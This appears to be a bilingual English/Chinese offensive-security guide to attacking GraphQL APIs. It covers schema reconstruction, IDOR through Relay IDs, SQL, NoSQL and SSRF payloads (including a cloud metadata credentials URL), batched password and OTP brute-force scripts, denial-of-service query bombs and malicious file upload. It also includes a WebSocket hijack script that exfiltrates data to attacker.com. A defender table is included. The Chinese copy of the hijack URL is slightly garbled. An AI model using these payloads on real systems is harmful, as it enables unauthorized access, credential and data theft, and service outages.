offensive-graphql

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Offensive GraphQL

GraphQL 进攻方法

GraphQL consolidates an entire API surface behind a single endpoint, making it a high-value target during web application assessments. Unlike REST, where each route maps to a discrete resource, a GraphQL schema exposes every type, field, mutation, and subscription in one queryable structure. Attackers who obtain or reconstruct that schema gain a complete map of the application's data model before writing a single exploit. This skill walks you through each phase of a GraphQL engagement with concrete queries, tool invocations, and chaining patterns.
GraphQL 将整个 API 攻击面集中到单一 endpoint 后,使其在 Web 应用评估期间成为高价值目标。与 REST 不同,每个 route 都对应一个独立资源,而 GraphQL schema 会在一个可查询结构中暴露所有 type、field、mutation 和 subscription。攻击者一旦获取或重建 schema,便可在编写任何 exploit 前完整掌握应用的数据模型。本 skill 将通过具体 query、工具调用和链式利用模式,介绍 GraphQL 评估的每个阶段。

Quick Workflow

快速工作流

  1. Discover the endpoint -- probe common paths, inspect client-side JS bundles, check WebSocket upgrade headers.
  2. Fingerprint the implementation -- use graphw00f to identify the engine and tailor payloads.
  3. Dump or reconstruct the schema -- full introspection query; if blocked, field suggestion probing or clairvoyance.
  4. Map the attack surface -- feed the schema into GraphQL Voyager or InQL.
  5. Test authentication and authorization -- every query and mutation with no token, low-privilege, and cross-user tokens.
  6. Inject through resolvers -- SQL, NoSQL, and OS command payloads through arguments and variables.
  7. Abuse batching -- arrayed operations for brute force, OTP bypass, and rate limit evasion.
  8. Stress depth and complexity -- nested queries, alias fans, and circular fragments.
  9. Probe subscriptions -- WebSocket with expired or missing tokens, subscribe to sensitive streams.
  10. Exfiltrate via errors -- verbose stack traces, type mismatches, field suggestions.
  11. Test file upload -- multipart GraphQL specification for oversized or malicious files.
  12. Chain and escalate -- combine findings into multi-step attack paths with proof-of-concept queries.

  1. 发现 endpoint -- 探测常见路径,检查客户端 JS bundle,并检查 WebSocket upgrade header。
  2. 识别实现指纹 -- 使用 graphw00f 识别 engine,并据此调整 payload。
  3. 导出或重建 schema -- 执行完整 introspection query;若被阻止,则使用字段建议探测或 clairvoyance。
  4. 映射攻击面 -- 将 schema 输入 GraphQL Voyager 或 InQL。
  5. 测试认证和授权 -- 分别使用无 token、低权限和跨用户 token 测试每个 query 与 mutation。
  6. 通过 resolver 注入 -- 通过 arguments 和 variables 注入 SQL、NoSQL 与 OS command payload。
  7. 滥用 batching -- 使用数组化 operation 进行暴力破解、OTP 绕过和速率限制规避。
  8. 压测深度与复杂度 -- 构造嵌套 query、alias fan 和循环 fragment。
  9. 探测 subscription -- 使用过期或缺失 token 建立 WebSocket,订阅敏感 stream。
  10. 通过错误外泄数据 -- 收集详细 stack trace、类型不匹配和字段建议。
  11. 测试文件上传 -- 使用 multipart GraphQL specification 测试超大或恶意文件。
  12. 链式组合并升级 -- 将各项发现组合成多步攻击路径,并提供 PoC query。

1 -- Endpoint Discovery and Fingerprinting

1 -- Endpoint 发现与指纹识别

Probe common paths with a minimal query body. A
__typename
response confirms a live GraphQL endpoint.
bash
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}' | jq .
Paths to probe:
/graphql
,
/graphiql
,
/v1/graphql
,
/v2/graphql
,
/api/graphql
,
/graphql/console
,
/playground
,
/explorer
,
/query
. Some servers accept GET requests:
bash
curl -s "https://target.com/graphql?query=\{__typename\}"
Fingerprint the implementation to determine default behaviors (introspection state, error format, batching syntax):
bash
python3 graphw00f.py -t https://target.com/graphql
Run graphql-cop for a one-pass configuration audit -- it reports introspection status, field suggestion leaks, GET-based query acceptance (CSRF risk), and unrestricted batching:
bash
python3 graphql-cop.py -t https://target.com/graphql

使用最小 query body 探测常见路径。
__typename
响应可确认 GraphQL endpoint 有效。
bash
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}' | jq .
可探测的路径:
/graphql
、
/graphiql
、
/v1/graphql
、
/v2/graphql
、
/api/graphql
、
/graphql/console
、
/playground
、
/explorer
、
/query
。部分服务器接受 GET 请求:
bash
curl -s "https://target.com/graphql?query=\{__typename\}"
识别具体实现,以确定其默认行为,包括 introspection 状态、错误格式和 batching 语法:
bash
python3 graphw00f.py -t https://target.com/graphql
运行 graphql-cop 进行一次性配置审计 -- 它会报告 introspection 状态、字段建议泄露、基于 GET 的 query 接受情况(CSRF 风险)以及不受限制的 batching:
bash
python3 graphql-cop.py -t https://target.com/graphql

2 -- Introspection and Blind Schema Reconstruction

2 -- Introspection 与盲 Schema 重建

Full Introspection Dump

完整 Introspection Dump

When introspection is enabled, pull the entire schema in one request. This is the single most valuable recon step.
graphql
query FullIntrospection {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      kind name description
      fields(includeDeprecated: true) {
        name args { name type { ...T } defaultValue } type { ...T }
      }
      inputFields { name type { ...T } defaultValue }
      interfaces { ...T }
      enumValues(includeDeprecated: true) { name description }
      possibleTypes { ...T }
    }
    directives { name description locations args { name type { ...T } } }
  }
}
fragment T on __Type {
  kind name ofType { kind name ofType { kind name ofType { kind name } } }
}
Pipe the result into GraphQL Voyager for visual exploration, or load InQL in Burp Suite -- it parses the schema and generates individual queries for every field and mutation.
启用 introspection 时,可以通过一次 request 拉取完整 schema。这是价值最高的单项侦察步骤。
graphql
query FullIntrospection {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      kind name description
      fields(includeDeprecated: true) {
        name args { name type { ...T } defaultValue } type { ...T }
      }
      inputFields { name type { ...T } defaultValue }
      interfaces { ...T }
      enumValues(includeDeprecated: true) { name description }
      possibleTypes { ...T }
    }
    directives { name description locations args { name type { ...T } } }
  }
}
fragment T on __Type {
  kind name ofType { kind name ofType { kind name ofType { kind name } } }
}
将结果导入 GraphQL Voyager 进行可视化探索,或在 Burp Suite 中加载 InQL -- 它会解析 schema,并为每个 field 和 mutation 生成独立 query。

Targeted __type Queries

定向
__type
Query

When full introspection is disabled but
__type
lookups still work (a common misconfiguration where the server blocks
__schema
but forgets
__type
):
graphql
query { __type(name: "User") { name fields { name type { name kind } } } }
当完整 introspection 被禁用,但
__type
lookup 仍然可用时(这是一种常见错误配置:服务器屏蔽了
__schema
,却忘记屏蔽
__type
):
graphql
query { __type(name: "User") { name fields { name type { name kind } } } }

Bypassing Disabled Introspection

绕过已禁用的 Introspection

Field suggestion oracle. Most engines return "Did you mean..." when you query a non-existent field. Submit plausible names and harvest suggestions:
graphql
query { __typename aaa }
json
{
  "errors": [{
    "message": "Cannot query field \"aaa\" on type \"Query\". Did you mean \"user\", \"users\", \"admin\"?"
  }]
}
Automate this with clairvoyance, which iterates a wordlist, collects suggestions, and assembles a reconstructed schema:
bash
python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.json
Apollo Sandbox. If the target runs Apollo Server v3+, navigate to the endpoint in a browser. Apollo Sandbox performs introspection client-side even when the production toggle is off. Check Apollo Studio explorer if the server is registered there.
Client-side bundles. Search JS files for query strings, fragment definitions, and type names:
bash
curl -s https://target.com/static/js/main.js | grep -oP '(query|mutation|fragment)\s+\w+'

字段建议 oracle。 大多数引擎在 query 不存在的 field 时会返回“Did you mean...”提示。提交合理的候选名称并收集建议:
graphql
query { __typename aaa }
json
{
  "errors": [{
    "message": "Cannot query field \"aaa\" on type \"Query\". Did you mean \"user\", \"users\", \"admin\"?"
  }]
}
使用 clairvoyance 自动完成这一过程 -- 它会迭代 wordlist、收集建议,并组装重建后的 schema:
bash
python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.json
Apollo Sandbox。 如果目标运行 Apollo Server v3+,可在 browser 中访问 endpoint。即使 production toggle 已关闭,Apollo Sandbox 仍会在 client-side 执行 introspection。如果 server 已注册到该服务,还应检查 Apollo Studio explorer。
Client-side bundle。 在 JS 文件中搜索 query string、fragment definition 和 type name:
bash
curl -s https://target.com/static/js/main.js | grep -oP '(query|mutation|fragment)\s+\w+'

3 -- Authentication and Authorization Bypass

3 -- 认证与授权绕过

Authorization bugs are pervasive because developers must implement field-level checks manually in each resolver. A single missing check on a nested field can expose the entire object graph.
授权缺陷十分普遍,因为开发者必须在每个 resolver 中手动实现 field-level 检查。嵌套 field 上只要缺少一次检查,就可能暴露整个对象图。

IDOR Through Relay Node IDs

通过 Relay Node ID 实施 IDOR

Relay exposes a global
node
interface that resolves any object by an opaque base64-encoded ID (
Type:numericID
):
bash
echo -n "VXNlcjoxMjM=" | base64 -d   # Output: User:123
Forge IDs for other users and query through the node interface:
graphql
query {
  node(id: "VXNlcjoxMjQ=") {
    ... on User { id email role ssn }
  }
}
Enumerate sequentially:
bash
for i in $(seq 1 100); do
  id=$(echo -n "User:$i" | base64)
  curl -s -X POST https://target.com/graphql \
    -H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" \
    -d "{\"query\":\"{ node(id: \\\"$id\\\") { ... on User { id email role } } }\"}"
done
Relay 暴露了一个全局
node
interface,该 interface 可通过不透明的 base64 编码 ID(
Type:numericID
)解析任意对象:
bash
echo -n "VXNlcjoxMjM=" | base64 -d   # Output: User:123
为其他用户伪造 ID,并通过 node interface 执行 query:
graphql
query {
  node(id: "VXNlcjoxMjQ=") {
    ... on User { id email role ssn }
  }
}
顺序枚举:
bash
for i in $(seq 1 100); do
  id=$(echo -n "User:$i" | base64)
  curl -s -X POST https://target.com/graphql \
    -H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" \
    -d "{\"query\":\"{ node(id: \\\"$id\\\") { ... on User { id email role } } }\"}"
done

Nested Object Authorization Gaps

嵌套对象授权缺口

Authorization enforced on the top-level query often does not carry to nested relationships. Access your own Order, then check whether the customer field traverses to another user's data:
graphql
query {
  myOrders {
    id
    customer { id email paymentMethods { cardNumber expirationDate } }
  }
}
The
myOrders
resolver filters by your ID, but the
customer
resolver on Order may eagerly load the associated user without ownership checks.
仅在顶层 query 上执行的授权,通常不会传递到嵌套 relationship。先访问自己的 Order,再检查 customer field 是否能遍历到其他用户的数据:
graphql
query {
  myOrders {
    id
    customer { id email paymentMethods { cardNumber expirationDate } }
  }
}
myOrders
resolver 会按你的 ID 过滤,但 Order 上的
customer
resolver 可能直接加载关联用户,而未执行 ownership check。

Relay Pagination and Cursor Manipulation

Relay Pagination 与 Cursor 操纵

Decode opaque cursors (often base64 of an offset) and manipulate the value. If the cursor decodes to
cursor:999
, set it to
cursor:0
to access records from the beginning:
graphql
query {
  users(first: 10, after: "Y3Vyc29yOjA=") {
    edges { node { id email } cursor }
    pageInfo { hasNextPage endCursor }
  }
}
解码 opaque cursor(通常是 offset 的 base64 编码)并修改其值。如果 cursor 解码为
cursor:999
,将其改为
cursor:0
即可访问从头开始的记录:
graphql
query {
  users(first: 10, after: "Y3Vyc29yOjA=") {
    edges { node { id email } cursor }
    pageInfo { hasNextPage endCursor }
  }
}

Mutation Authorization

Mutation 授权

Test every state-changing mutation with no token, low-privilege tokens, and cross-tenant tokens:
graphql
mutation { updateUser(id: "OTHER_USER_ID", input: { role: "ADMIN" }) { id role } }
mutation { deleteAccount(userId: "OTHER_USER_ID") { success } }

使用无 token、低权限 token 和跨租户 token,测试每个会改变状态的 mutation:
graphql
mutation { updateUser(id: "OTHER_USER_ID", input: { role: "ADMIN" }) { id role } }
mutation { deleteAccount(userId: "OTHER_USER_ID") { success } }

4 -- Injection Through Resolvers

4 -- 通过 Resolver 注入

Variables and arguments flow directly into resolver functions. String concatenation in resolvers creates classic injection vectors.
Variables 和 arguments 会直接流入 resolver function。resolver 中的字符串拼接会形成典型的 injection vector。

SQL Injection via Variables

通过 Variables 实施 SQL Injection

graphql
query GetUser($name: String!) { user(name: $name) { id email } }
json
{"name": "admin' OR 1=1 --"}
Escalate with UNION-based injection:
json
{"name": "' UNION SELECT username, password FROM admin_users --"}
graphql
query GetUser($name: String!) { user(name: $name) { id email } }
json
{"name": "admin' OR 1=1 --"}
使用基于 UNION 的 injection 进一步扩大影响:
json
{"name": "' UNION SELECT username, password FROM admin_users --"}

NoSQL Injection

NoSQL Injection

For MongoDB-backed resolvers:
json
{"filter": {"username": {"$ne": ""}, "password": {"$ne": ""}}}
Time-based detection:
graphql
query { search(filter: "{\"$where\": \"sleep(5000)\"}") { results } }
对于由 MongoDB 支持的 resolver:
json
{"filter": {"username": {"$ne": ""}, "password": {"$ne": ""}}}
基于时间的检测:
graphql
query { search(filter: "{\"$where\": \"sleep(5000)\"}") { results } }

Directive Injection and Flooding

Directive Injection 与 Flooding

Directive flooding -- attaching thousands of
@include(if: true)
directives to a single field -- crashes parsers (CVE-2024-47614 in async-graphql):
graphql
query { __typename @include(if: true) @include(if: true) @include(if: true) ... }
Generate a payload with 10,000 directives programmatically. Custom
@auth
or
@constraint
directives may also accept arguments you can manipulate to override server-side behavior.
Directive flooding -- 为单个 field 附加数千个
@include(if: true)
directive -- 会导致 parser 崩溃(async-graphql 中的 CVE-2024-47614):
graphql
query { __typename @include(if: true) @include(if: true) @include(if: true) ... }
以编程方式生成包含 10,000 个 directive 的 payload。自定义
@auth
或
@constraint
directive 也可能接受可操纵的 argument,从而覆盖 server-side 行为。

SSRF Through Resolver Arguments

通过 Resolver Argument 实施 SSRF

If a mutation accepts a URL argument (webhooks, avatars, imports), test for SSRF:
graphql
mutation { setAvatar(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") { success } }

如果 mutation 接受 URL argument(webhook、avatar、import),请测试 SSRF:
graphql
mutation { setAvatar(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") { success } }

5 -- Batching Attacks

5 -- Batching 攻击

GraphQL servers commonly accept arrays of operations in a single HTTP request. Back-end rate limiters often count HTTP requests, not individual operations within a batch, enabling powerful bypass attacks.
GraphQL server 通常允许在单个 HTTP request 中提交 operation 数组。后端 rate limiter 往往按 HTTP request 计数,而不是按 batch 中的每个 operation 计数,因此可能被用于 powerful bypass。

Credential Brute Force

凭据暴力破解

json
[
  {"query": "mutation { login(user: \"admin\", pass: \"password1\") { token } }"},
  {"query": "mutation { login(user: \"admin\", pass: \"password2\") { token } }"},
  {"query": "mutation { login(user: \"admin\", pass: \"password3\") { token } }"}
]
A single HTTP request carries hundreds of login attempts. The rate limiter sees one request.
json
[
  {"query": "mutation { login(user: \"admin\", pass: \"password1\") { token } }"},
  {"query": "mutation { login(user: \"admin\", pass: \"password2\") { token } }"},
  {"query": "mutation { login(user: \"admin\", pass: \"password3\") { token } }"}
]
单个 HTTP request 可携带数百次登录尝试,而 rate limiter 只看到一个 request。

OTP / 2FA Bypass

OTP / 2FA 绕过

Batch all possible 4-digit OTP values in chunks:
python
import requests

ops = [{"query": f'mutation {{ verifyOTP(code: "{str(c).zfill(4)}") {{ success token }} }}'}
       for c in range(10000)]
for i in range(0, len(ops), 500):
    r = requests.post("https://target.com/graphql", json=ops[i:i+500],
                      headers={"Authorization": "Bearer <session_token>"})
    for idx, res in enumerate(r.json()):
        if res.get("data", {}).get("verifyOTP", {}).get("success"):
            print(f"Valid OTP: {str(i + idx).zfill(4)}")
将所有可能的 4 位 OTP 按 chunk 批量提交:
python
import requests

ops = [{"query": f'mutation {{ verifyOTP(code: "{str(c).zfill(4)}") {{ success token }} }}'}
       for c in range(10000)]
for i in range(0, len(ops), 500):
    r = requests.post("https://target.com/graphql", json=ops[i:i+500],
                      headers={"Authorization": "Bearer <session_token>"})
    for idx, res in enumerate(r.json()):
        if res.get("data", {}).get("verifyOTP", {}).get("success"):
            print(f"Valid OTP: {str(i + idx).zfill(4)}")

Alias-Based Batching

基于 Alias 的 Batching

Some servers reject array batching but allow alias-based batching within a single query:
graphql
query {
  a1: login(user: "admin", pass: "pass1") { token }
  a2: login(user: "admin", pass: "pass2") { token }
  a3: login(user: "admin", pass: "pass3") { token }
}
Automate with BatchQL and CrackQL:
bash
python3 batch-ql.py -e https://target.com/graphql \
  -q 'mutation { login(user: "admin", pass: "FUZZ") { token } }' -w passwords.txt
python3 CrackQL.py -t https://target.com/graphql -q query.graphql -i inputs.csv --batch-size 500

部分 server 会拒绝 array batching,但允许在单个 query 中使用 alias-based batching:
graphql
query {
  a1: login(user: "admin", pass: "pass1") { token }
  a2: login(user: "admin", pass: "pass2") { token }
  a3: login(user: "admin", pass: "pass3") { token }
}
使用 BatchQL 和 CrackQL 自动执行:
bash
python3 batch-ql.py -e https://target.com/graphql \
  -q 'mutation { login(user: "admin", pass: "FUZZ") { token } }' -w passwords.txt
python3 CrackQL.py -t https://target.com/graphql -q query.graphql -i inputs.csv --batch-size 500

6 -- Denial of Service

6 -- 拒绝服务

GraphQL's flexible query language is inherently susceptible to resource exhaustion unless the server enforces strict cost controls.
GraphQL 灵活的 query language 天生容易耗尽资源,除非 server 实施严格的 cost control。

Depth Bomb

Depth Bomb

Exploit circular relationships. If User has
friends
returning
[User]
, nest indefinitely -- eight levels deep on a user with 100 friends each triggers 100^8 resolver calls:
graphql
query DepthBomb {
  users {
    friends { friends { friends { friends { friends { friends {
      id email
    } } } } } }
  }
}
利用循环关系。如果 User 的
friends
返回
[User]
,则可无限嵌套 -- 在每个用户拥有 100 个 friends 的情况下,嵌套八层会触发 100^8 次 resolver 调用:
graphql
query DepthBomb {
  users {
    friends { friends { friends { friends { friends { friends {
      id email
    } } } } } }
  }
}

Alias Amplification

Alias Amplification

Request the same expensive field thousands of times using aliases. Each alias invokes the resolver independently:
graphql
query {
  a1: expensiveReport(year: 2024) { data }
  a2: expensiveReport(year: 2024) { data }
  a3: expensiveReport(year: 2024) { data }
  # ... repeat 1000 times
}
使用 alias 数千次请求同一个昂贵 field。每个 alias 都会独立调用 resolver:
graphql
query {
  a1: expensiveReport(year: 2024) { data }
  a2: expensiveReport(year: 2024) { data }
  a3: expensiveReport(year: 2024) { data }
  # ... repeat 1000 times
}

Circular Fragment Spread

循环 Fragment Spread

Older implementations may not detect circular references, causing infinite recursion:
graphql
fragment A on User { friends { ...B } }
fragment B on User { friends { ...A } }
query { user(id: 1) { ...A } }
较旧的实现可能不会检测循环引用,从而导致无限递归:
graphql
fragment A on User { friends { ...B } }
fragment B on User { friends { ...A } }
query { user(id: 1) { ...A } }

Incremental Delivery Abuse

增量传递滥用

If the server supports
@defer
and
@stream
, attach them to expensive subtrees to hold connections open and multiply compute:
graphql
query {
  users(first: 1000) @stream(initialCount: 1) {
    id
    orders @defer { total items @stream(initialCount: 1) { name price } }
  }
}

如果 server 支持
@defer
和
@stream
,将它们附加到昂贵 subtree 上,以保持连接长时间打开并成倍增加计算量:
graphql
query {
  users(first: 1000) @stream(initialCount: 1) {
    id
    orders @defer { total items @stream(initialCount: 1) { name price } }
  }
}

7 -- Subscription Abuse and WebSocket Hijacking

7 -- Subscription 滥用与 WebSocket 劫持

Subscriptions run over WebSocket using
graphql-ws
or the older
subscriptions-transport-ws
protocol. These long-lived connections present a distinct attack surface.
Subscription 通过 WebSocket 运行,使用
graphql-ws
或较旧的
subscriptions-transport-ws
protocol。这些长连接形成独特的攻击面。

Unauthenticated Subscription

未认证 Subscription

Connect without authentication in the
connection_init
payload, then subscribe:
json
{"type": "connection_init", "payload": {}}
json
{"id": "1", "type": "subscribe", "payload": {"query": "subscription { newOrder { id customer { email } total } }"}}
If the server does not validate connection_init, you receive real-time events for all new orders.
连接时在
connection_init
payload 中不进行认证,然后 subscribe:
json
{"type": "connection_init", "payload": {}}
json
{"id": "1", "type": "subscribe", "payload": {"query": "subscription { newOrder { id customer { email } total } }"}}
如果 server 未验证
connection_init
,你就能收到所有新订单的 real-time event。

Token Expiry on Long-Lived Connections

长连接上的 Token 过期

WebSocket connections persist after the initial handshake. If the server validates the JWT only during
connection_init
, a token that expires mid-session remains valid for the connection's lifetime. Test by connecting with a short-lived token, waiting for expiry, then sending a new subscription.
WebSocket connection 在初始 handshake 后会持续存在。如果 server 只在
connection_init
期间验证 JWT,则 token 即使在 session 中途过期,仍会在该 connection 的整个生命周期内保持有效。测试方法是使用 short-lived token 建立连接,等待其过期,然后发送新 subscription。

Cross-Site WebSocket Hijacking (CSWSH)

跨站 WebSocket 劫持(CSWSH)

If the WebSocket endpoint relies on cookies and does not validate the Origin header, hijack it from a malicious page:
html
<script>
  var ws = new WebSocket("wss://target.com/graphql", "graphql-ws");
  ws.onopen = function() {
    ws.send(JSON.stringify({type:"connection_init",payload:{}}));
    ws.send(JSON.stringify({id:"1",type:"subscribe",
      payload:{query:"subscription { sensitiveEvent { data } }"}}));
  };
  ws.onmessage = function(e) { fetch("https://attacker.com/c?d="+btoa(e.data)); };
</script>

如果 WebSocket endpoint 依赖 cookie,且未验证 Origin header,则可以从恶意页面劫持连接:
html
<script>
  var ws = new WebSocket("wss://target.com/graphql", "graphql-ws");
  ws.onopen = function() {
    ws.send(JSON.stringify({type:"connection_init",payload:{}}));
    ws.send(JSON.stringify({id:"1",type:"subscribe",
      payload:{query:"subscription { sensitiveEvent { data } }"}}));
  };
  ws.onmessage = function(e) { fetch("https://attacker.com?c?d="+btoa(e.data)); };
</script>

8 -- Information Disclosure and File Upload

8 -- 信息披露与文件上传

Verbose Error Messages

详细错误消息

GraphQL engines often return implementation details in errors. Send type-mismatched arguments to trigger stack traces:
json
{
  "errors": [{
    "message": "invalid input syntax for type integer: \"abc\"",
    "extensions": {
      "exception": {
        "stacktrace": [
          "Error: invalid input syntax for type integer: \"abc\"",
          "    at /app/node_modules/pg/lib/client.js:526:17",
          "    at /app/src/resolvers/user.js:42:12"
        ]
      }
    }
  }]
}
This reveals the database driver (PostgreSQL via
pg
), file paths, and line numbers.
GraphQL engine 经常在 error 中返回 implementation detail。发送类型不匹配的 argument,以触发 stack trace:
json
{
  "errors": [{
    "message": "invalid input syntax for type integer: \"abc\"",
    "extensions": {
      "exception": {
        "stacktrace": [
          "Error: invalid input syntax for type integer: \"abc\"",
          "    at /app/node_modules/pg/lib/client.js:526:17",
          "    at /app/src/resolvers/user.js:42:12"
        ]
      }
    }
  }]
}
这会暴露 database driver(通过
pg
使用的 PostgreSQL)、file path 和 line number。

Field Suggestion as Schema Oracle

将字段建议作为 Schema Oracle

Even with introspection disabled, iterate through prefixes to reconstruct the schema via "Did you mean" responses:
text
Query field "a" -> "admin", "account"
Query field "b" -> "billing", "blog"
Query field "c" -> "customer", "config", "cart"
即使 introspection 被禁用,也可迭代 prefix,通过“Did you mean”response 重建 schema:
text
Query field "a" -> "admin", "account"
Query field "b" -> "billing", "blog"
Query field "c" -> "customer", "config", "cart"

Hasura and Apollo-Specific Leaks

Hasura 与 Apollo 特有的信息泄露

Hasura -- test
x-hasura-role
and
x-hasura-user-id
header injection when the admin secret is not enforced:
bash
curl -s -X POST https://target.com/v1/graphql \
  -H "Content-Type: application/json" -H "x-hasura-role: admin" -H "x-hasura-user-id: 1" \
  -d '{"query": "{ users { id email password_hash } }"}'
Apollo Federation -- query the
_service
field for the full SDL of a subgraph:
graphql
query { _service { sdl } }
Hasura -- 当 admin secret 未被强制执行时,测试
x-hasura-role
和
x-hasura-user-id
header injection:
bash
curl -s -X POST https://target.com/v1/graphql \
  -H "Content-Type: application/json" -H "x-hasura-role: admin" -H "x-hasura-user-id: 1" \
  -d '{"query": "{ users { id email password_hash } }"}'
Apollo Federation -- query 子图的
_service
field,以获取完整 SDL:
graphql
query { _service { sdl } }

File Upload via Multipart GraphQL

通过 Multipart GraphQL 上传文件

The multipart request specification enables file uploads through mutations. Test for path traversal, unrestricted types, and oversized uploads:
bash
curl -s -X POST https://target.com/graphql \
  -F operations='{"query":"mutation($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \
  -F map='{"0":["variables.file"]}' \
  -F 0=@malicious.php
Attack vectors: path traversal via manipulated
map
JSON paths, content-type trust (upload
.php
/
.jsp
and check for magic byte validation), multi-gigabyte uploads for size limit testing, and predictable temp file paths that may be web-accessible before processing.

Multipart request specification 支持通过 mutation 上传文件。测试 path traversal、不受限制的类型以及超大上传:
bash
curl -s -X POST https://target.com/graphql \
  -F operations='{"query":"mutation($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \
  -F map='{"0":["variables.file"]}' \
  -F 0=@malicious.php
攻击向量包括:通过操纵
map
JSON path 实施 path traversal;信任 content type(上传
.php
/
.jsp
并检查是否验证 magic byte);上传数 GB 文件以测试 size limit;以及可预测的 temp file path,可能在处理前被 web 访问。

Detection / Defender View

检测/防御者视角

Attack CategoryDetection / Prevention
Introspection abuseDisable in production (
introspection: false
). Monitor for
__schema
and
__type
in query logs.
Field suggestion oracleDisable suggestions (Apollo: custom plugin to strip; Yoga:
maskedErrors
).
IDOR via node IDsEnforce ownership checks in every resolver. Use UUIDs over sequential IDs.
Nested auth gapsSchema-level authorization directives (
@auth
,
@hasRole
). Checks at every resolver, not just top-level.
SQL / NoSQL injectionParameterized queries exclusively. Never concatenate user input.
Batching brute forceLimit batch size (max 5 operations). Rate-limit by operation count, not HTTP request count.
Alias amplificationAlias count limits. Query cost analysis (graphql-query-complexity, GraphQL Armor).
Depth bombMax query depth 7-10 (graphql-depth-limit, GraphQL Armor).
Subscription hijackValidate auth on every
connection_init
, re-validate tokens periodically, enforce Origin checks.
Verbose errorsGeneric error messages in production. Strip stack traces and paths.
File upload abuseValidate by magic bytes, enforce size limits, store outside web root, re-encode images.
CSRFRequire
Content-Type: application/json
. Reject GET-based mutations. Validate Origin.
Key hardening tools: GraphQL Armor (depth, alias, cost, character limits for Apollo/Yoga/Envelop), persisted queries (allowlist known operations, reject ad-hoc queries via APQ with signature enforcement), and WAF rules that parse JSON bodies and inspect the
query
field rather than just URL parameters.

攻击类别检测/防御
Introspection 滥用在 production 中禁用(
introspection: false
)。监控 query log 中的
__schema
和
__type
。
字段建议 oracle禁用建议(Apollo:使用 custom plugin 移除;Yoga:
maskedErrors
)。
通过 node ID 实施 IDOR在每个 resolver 中强制执行 ownership check。优先使用 UUID,而非 sequential ID。
嵌套 auth 缺口使用 schema-level authorization directive(
@auth
、
@hasRole
)。在每个 resolver 中检查,而非只在顶层。
SQL / NoSQL injection仅使用 parameterized query。绝不拼接 user input。
Batching 暴力破解限制 batch size(最多 5 个 operation)。按 operation 数量而非 HTTP request 数量执行 rate limit。
Alias 放大限制 alias 数量。进行 query cost analysis(graphql-query-complexity、GraphQL Armor)。
Depth bomb将最大 query depth 限制为 7–10(graphql-depth-limit、GraphQL Armor)。
Subscription 劫持每次
connection_init
都验证 auth,定期重新验证 token,并强制检查 Origin。
详细错误在 production 中使用通用 error message。移除 stack trace 和 path。
文件上传滥用验证 magic byte,强制执行 size limit,存储于 web root 之外,并重新编码 image。
CSRF要求
Content-Type: application/json
。拒绝基于 GET 的 mutation。验证 Origin。
关键加固工具:GraphQL Armor(用于 Apollo/Yoga/Envelop 的深度、alias、成本和字符数限制)、persisted queries(通过带签名强制执行的 APQ,仅允许已知 operation,并拒绝临时 query),以及可解析 JSON body 并检查
query
field、而非只检查 URL parameter 的 WAF rule。

Engagement Cheatsheet

评估速查表

text
RECON
  Endpoint discovery       curl POST /graphql, /v1/graphql, /api/graphql with {__typename}
  Fingerprint              graphw00f -t <url>
  Introspection dump       Full __schema query via Altair or InQL
  Config audit             graphql-cop -t <url>
  Visualize schema         Introspection JSON into GraphQL Voyager

BLIND SCHEMA RECOVERY
  Field suggestions        Query invalid fields, collect "Did you mean" responses
  Automated recovery       clairvoyance -t <url> -w wordlist.txt
  Client bundles           grep -oP '(query|mutation|fragment)\s+\w+' main.js
  Apollo sandbox           Navigate to endpoint in browser

AUTH TESTING
  No-auth access           Replay every query/mutation without Authorization header
  Horizontal IDOR          Decode Relay node IDs, substitute other user IDs
  Vertical escalation      Test admin mutations with low-privilege tokens
  Nested traversal         Follow relationships to reach unauthorized objects
  Cursor manipulation      Decode Relay cursors, modify offset values

INJECTION
  SQLi via variables       {"name": "admin' OR 1=1 --"}
  NoSQL injection          {"filter": {"$ne": ""}}
  SSRF via URL args        Point URL fields at 169.254.169.254
  Directive flooding       10,000 @include(if: true) on a single field

BATCHING
  Array batching           [{"query":"mutation{login(...)}"}, ...]
  Alias batching           a1: login(...) a2: login(...) ...
  OTP exhaustion           Batch all 4-6 digit codes in chunks of 500
  Tools                    CrackQL, BatchQL

DoS
  Depth bomb               Nest circular relationships 8+ levels
  Alias amplification      1000+ aliases on an expensive resolver
  Fragment cycle           Circular fragment spreads (A -> B -> A)
  Incremental delivery     @defer/@stream on expensive subtrees

SUBSCRIPTIONS
  No-auth subscribe        connection_init with empty payload
  Token expiry test        Connect, wait for JWT expiry, send new subscription
  CSWSH                    Cross-site WebSocket hijack via malicious page

FILE UPLOAD
  Multipart spec           -F operations=... -F map=... -F 0=@file
  Path traversal           Manipulate map JSON paths
  Type bypass              Upload executable with benign Content-Type

INFO DISCLOSURE
  Verbose errors           Type-mismatched arguments, observe stack traces
  Federation SDL           { _service { sdl } }
  Hasura headers           x-hasura-role: admin without admin secret

text
RECON
  Endpoint discovery       curl POST /graphql, /v1/graphql, /api/graphql with {__typename}
  Fingerprint              graphw00f -t <url>
  Introspection dump       Full __schema query via Altair or InQL
  Config audit             graphql-cop -t <url>
  Visualize schema         Introspection JSON into GraphQL Voyager

BLIND SCHEMA RECOVERY
  Field suggestions        Query invalid fields, collect "Did you mean" responses
  Automated recovery       clairvoyance -t <url> -w wordlist.txt
  Client bundles           grep -oP '(query|mutation|fragment)\s+\w+' main.js
  Apollo sandbox           Navigate to endpoint in browser

AUTH TESTING
  No-auth access           Replay every query/mutation without Authorization header
  Horizontal IDOR          Decode Relay node IDs, substitute other user IDs
  Vertical escalation      Test admin mutations with low-privilege tokens
  Nested traversal         Follow relationships to reach unauthorized objects
  Cursor manipulation      Decode Relay cursors, modify offset values

INJECTION
  SQLi via variables       {"name": "admin' OR 1=1 --"}
  NoSQL injection          {"filter": {"$ne": ""}}
